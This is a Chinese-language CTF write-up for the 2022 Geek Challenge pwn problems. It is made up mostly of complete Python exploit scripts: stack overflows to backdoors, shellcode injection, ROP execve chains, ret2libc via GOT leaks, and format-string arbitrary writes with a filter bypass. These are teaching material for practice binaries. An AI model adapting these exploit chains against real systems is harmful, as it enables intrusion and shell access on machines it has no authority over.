【Pwn】2022 极客大挑战
前言
又是一年的极客大挑战,又老了一岁,也只有打打新生赛才能有第一次接触ctf快乐了,现在各种比赛的pwn都是纯纯的坐牢~
本次题解的所有脚本使用的类库都是本人自己整合的一个库,github地址:https://github.com/Awoodwhale/pwn_all_in_one
nc
直接nc连接
pwn1_1
简单的ret2text
from pwntools import *
init("./pwn1_1")
backdoor = 0x401196
payload = b"b"*0x10 + b"woodwood" + p64(backdoor)
sl(payload)
ia()
pwn2_1
也是有后门的
from pwntools import *
init("./pwn2_1")
payload = b"\x00"*0x10 + b"woodwood" + p64(0x4011EF)
sl(payload)
ia()
pwn2_2
简单的ret2shellcode
from pwntools import *
init("./pwn2_2")
backdoor = 0x4040A0
sla("number:", asm(shellcraft.sh()))
sla("buf: ", b"b"*0x18 + p64(backdoor))
ia()
pwn2_3
首先获取栈地址,调试查看偏移获取ret_address的地址,在栈里写shellcode,最后用任意写把ret_address的地址写成存放shellcode的栈地址,这样就能执行shellcode了(这种方式需要保证shellocde的长度不会覆盖到canary,否则会触发canary的保护机制,当然还有一种方式,可以把stack_chk_fail
的got表改成shellcode的地址)
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp2_3.py
# @Author : woodwhale
# @Time : 2022/11/02 15:27:21
# -----------------------------------
from pwntools import *
# context.log_level = "debug"
init("./pwn2_3")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
pop_rdi = 0x0000000000001383
ru("0x")
stack_addr = leak(i16(rl()), "stack_addr")
sa("Give me your buf: ", asm(shellcraft.sh()))
sla("rb_write to you:", str(stack_addr + 0x118))
tmp = hex(stack_addr)[2:]
# dbg();pau()
sa(
"Data: ",
p8(i16(tmp[-2:]))
+ p8(i16(tmp[-4:-2]))
+ p8(i16(tmp[-6:-4]))
+ p8(i16(tmp[-8:-6]))
+ p8(i16(tmp[-10:-8]))
+ p8(i16(tmp[-12:-10])),
)
ia()
pwn3_1
不是很想ret2libc,所以使用了一个独特的gadget来进行任意地址写mov_rsi_eax
原理就是把一个bss段地址写入/bin/sh\x00
,然后使用syscall调用execve("/bin/sh",NULL,NULL)
因为我找来的gadget是用的eax
,所以每次只能写32位,所以这里/bin/sh\x00
分了两次写,写完了之后就调用syscall就好啦!
from pwntools import *
context.log_level = "debug"
init("./pwn3_1")
pop_rax = 0x0000000000449307
pop_rdi = 0x0000000000401882
pop_rsi = 0x000000000040f1ce
pop_rdx = 0x000000000040178f
syscall = 0x00000000004012d3
syscall_ret = 0x0000000000416f04
mov_rsi_eax = 0x000000000047bc06
def fflat(lst):
res = b""
for l in lst:
res += p64(l)
return res
payload = b"b"*0x18 + fflat([
pop_rsi, 0x4c3000,
pop_rax, 0x6e69622f, # /bin
mov_rsi_eax,
0x401D25
])
sla(";", payload)
time.sleep(1)
payload = b"b"*0x18 + fflat([
pop_rsi, 0x4c3004,
pop_rax, 0x68732f, # /sh
mov_rsi_eax,
0x401D25
])
sla(";", payload)
time.sleep(1)
payload = b"b"*0x18 + fflat([
pop_rdi, 0x4c3000,
pop_rsi, 0,
pop_rdx, 0,
pop_rax, 59,
syscall_ret # execve("/bin/sh", 0, 0)
])
sla(";", payload)
ia()
pwn3_2
直接ret2system,调用system("/bin/sh")
from pwntools import *
init("./pwn3_2")
sa("number", b"/bin/sh\x00")
# dbg();pau()
sla("thing", b"b"*0x18 + p64(0x000000000040101a) +p64(0x00000000004012c3) + p64(0x404090) + p64(pwnio.elf.sym["system"]))
ia()
pwn3_3
基础的ret2libc version3
使用puts泄露puts_got中存放libc中的puts地址,从而计算libc_base
获取system和binsh的地址后就可以ret2system了
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2022/11/09 21:40:48
# -----------------------------------
from pwntools import *
init("./pwn3_3")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
pop_rdi = 0x00000000004012f3
main = 0x4011F0
payload = flat(
b"b"*0x18,
pop_rdi, elf.got["puts"],
elf.sym["puts"], main
)
sla(":", payload)
puts_addr = leak(l64(), "puts_addr")
system, binsh = ret2libc(puts_addr, "puts", libc)
payload = flat(
b"b"*0x18,
pop_rdi, binsh,
system
)
sla(":", payload)
ia()
pwn4_1
也是ret2libc version3,只不过这里用的是write
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2022/11/09 21:49:30
# -----------------------------------
from pwntools import *
init("./pwn4_1")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
pop_rdi = 0x00000000004012c3
pop_rsi_r15 = 0x00000000004012c1
main = 0x4011D0
payload = flat(
b"b"*0x18,
pop_rdi, 1,
pop_rsi_r15, elf.got["write"], 0,
elf.sym["write"],
main
)
# dbg();pau()
sla(")", payload)
write_addr = leak(l64(), "write")
system, binsh = ret2libc(write_addr, "write", libc)
payload = flat(
b"b"*0x18,
pop_rdi, binsh,
system
)
sla(")", payload)
ia()
pwn4_2
和上一题一样
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2022/11/09 21:59:23
# -----------------------------------
from pwntools import *
init("./pwn4_2")
pop_rdi = 0x0000000000401253
pop_rsi_r15 = 0x0000000000401251
main = 0x4011B0
magic = 0x4011FD
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
payload = flat(
b"b"*0x18,
pop_rdi, 1,
pop_rsi_r15, elf.got["write"],
magic,
elf.sym["write"],
main
)
sla(")", payload)
write = leak(l64(), "write")
system, binsh = ret2libc(write, "write", libc)
payload = flat(
b"b"*0x18,
pop_rdi, binsh,
system
)
sla(")", payload)
ia()
pwn4_3
这题比较有趣了,格式化字符串的漏洞,但是ban了格串的字符
如何绕过?
'%' + ' '*16 + 'p'
也就是用空格绕过就行了
用上面的%p
获取libc地址,找到one_gadget的地址,把ret_address用fmt写成one_gadget
这里任意地址写较为复杂,需要计算一下偏移来写入,我在脚本中的write
函数中使用%hhn
来进行单字节的任意地址写
如下脚本提供了写rop链和写one_gadget的两种方式,不知道为啥写rop无法执行,但是one_gadget可以获取shell
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2022/11/19 15:08:11
# -----------------------------------
from pwntools import *
# context.log_level = "debug"
init("./never_get_P")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
def write(want, addr, need_add=False):
padding = want
padding_two = 8 - (padding + 7) % 8
l = (padding + 7 + padding_two) // 8 + 6
info(f"{hex(want), hex(addr)}")
payload = (
b"b" * padding
+ f"%{l}$hhn".encode()
+ b"\x00" * (padding_two + (1 if need_add else 0))
+ p64(addr)
)
s(payload)
time.sleep(1)
rop = False
def pwn():
ru("0x")
stack_addr = leak(i16(r(12)), "stack_addr")
ru("You~cAn't~geT~P!!!!")
sl("%137$" + " " * 13 + "p")
ru("0x")
libc.address = leak(i16(r(12)) - (0x7F83420290B3 - 0x7F8342002000), "libc_base")
system_addr = libc.sym["system"]
pop_rdi_ret = libc.address + 0x0000000000026B72
ret = libc.address + 0x0000000000025679
info("ret", ret)
binsh_addr = stack_addr + 0x20 + 2
info("binsh", binsh_addr)
one_gadget = libc.address + 0xE6AF1
info("one_gadget", one_gadget)
ret_addr = stack_addr + 1080
info("ret_addr", ret_addr)
if rop:
write(i16(hex(ret)[-2:]), ret_addr)
write(i16(hex(ret)[-4:-2]), ret_addr + 1)
write(i16(hex(ret)[-6:-4]), ret_addr + 2)
write(i16(hex(ret)[-8:-6]), ret_addr + 3)
write(i16(hex(ret)[-10:-8]), ret_addr + 4)
write(i16(hex(pop_rdi_ret)[-2:]), ret_addr + 8)
write(i16(hex(pop_rdi_ret)[-4:-2]), ret_addr + 8 + 1)
write(i16(hex(pop_rdi_ret)[-6:-4]), ret_addr + 8 + 2)
write(i16(hex(pop_rdi_ret)[-8:-6]), ret_addr + 8 + 3)
write(i16(hex(pop_rdi_ret)[-10:-8]), ret_addr + 8 + 4)
write(i16(hex(binsh_addr)[-2:]), ret_addr + 8 * 2)
write(i16(hex(binsh_addr)[-4:-2]), ret_addr + 8 * 2 + 1)
write(i16(hex(binsh_addr)[-6:-4]), ret_addr + 8 * 2 + 2)
write(i16(hex(binsh_addr)[-8:-6]), ret_addr + 8 * 2 + 3)
write(i16(hex(binsh_addr)[-10:-8]), ret_addr + 8 * 2 + 4)
write(i16(hex(system_addr)[-2:]), ret_addr + 8 * 3, True)
write(i16(hex(system_addr)[-4:-2]), ret_addr + 8 * 3 + 1)
write(i16(hex(system_addr)[-6:-4]), ret_addr + 8 * 3 + 2)
write(i16(hex(system_addr)[-8:-6]), ret_addr + 8 * 3 + 3)
write(i16(hex(system_addr)[-10:-8]), ret_addr + 8 * 3 + 4)
write(i16(hex(system_addr)[-12:-10]), ret_addr + 8 * 3 + 5)
else:
write(i16(hex(one_gadget)[-2:]), ret_addr)
write(i16(hex(one_gadget)[-4:-2]), ret_addr + 1)
write(i16(hex(one_gadget)[-6:-4]), ret_addr + 2)
write(i16(hex(one_gadget)[-8:-6]), ret_addr + 3)
write(i16(hex(one_gadget)[-10:-8]), ret_addr + 4)
write(i16(hex(one_gadget)[-12:-10]), ret_addr + 5)
sl("Y\x00/bin/sh\x00")
ia()
pwn()
pwn5_1
格式化字符串泄露libc和canary地址,然后直接ret2libc就好了
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File : exp.py
# @Author : woodwhale
# @Time : 2022/11/20 12:56:47
# -----------------------------------
from pwntools import *
init("./pwn5_1")
io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc
s("%43$p%45$p")
ru("0x")
canary = leak(i16(r(16)), "canary")
ru("0x")
libc.address = leak(i16(r(12)) - (0x7FD962B41083 - 0x7FD962B1D000), "libc_base")
system_addr = libc.sym["system"]
binsh_addr = next(libc.search(b"/bin/sh\x00"))
payload = (
b"b" * 0x108
+ p64(canary)
+ p64(0xdeadbeef)
+ p64(libc.address + 0x0000000000022679)
+ p64(libc.address + 0x0000000000023B6A)
+ p64(binsh_addr)
+ p64(system_addr)
)
sla("second read", payload)
ia()